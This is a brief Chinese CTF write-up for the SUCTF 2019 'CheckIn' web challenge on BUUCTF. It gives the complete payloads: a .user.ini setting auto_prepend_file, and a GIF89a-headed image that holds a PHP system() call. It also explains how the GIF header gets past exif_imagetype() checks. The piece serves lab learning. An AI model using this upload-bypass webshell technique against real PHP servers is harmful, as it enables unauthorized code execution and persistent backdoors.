1. 程式人生 > 實用技巧 >Buuctf-web-[SUCTF 2019]CheckIn

Buuctf-web-[SUCTF 2019]CheckIn

首先新增上傳一個.user.ini

GIF89a
auto_prepend_file=a.jpg

再新增上傳一個a.jpg

GIF89a
<script language='php'>system('cat /flag')</script>

  

在這裡可以看到 uploads/33c6f8457bd77fce0b109b4554e1a95c對應的資料夾下面有兩個檔案,一個是.user.ini,還一個是a.jpg,當然,還有一個index.php

http://185c74cc-a491-4874-b189-43077bd30ae7.node3.buuoj.cn/uploads/04b0951938d905b41348c1548f9c338b/index.php

直接得到flag

1.利用.user.ini上傳\隱藏後門

參考連結:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
使用條件:
(1)伺服器指令碼語言為PHP
(2)對應目錄下面有可執行的php檔案
(3)伺服器使用CGI/FastCGI模式

.user.ini實際上就是一個可以由使用者“自定義”的php.ini,我們可以自定義除了PHP_INI_SYSTEM以外的模式,在執行php程式碼之前,系統會對.user.ini先做一個執行,然後才執行其他的php檔案。

我們這邊利用.user,ini先執行auto_prepend_file函式,auto_prepend_file表示在php程式載入第一個php程式碼前載入的php檔案,也就是先載入了a.jpg裡面的檔案,即一句話木馬。

2.繞過exif_imagetype()

這邊利用GIF89a檔案頭繞過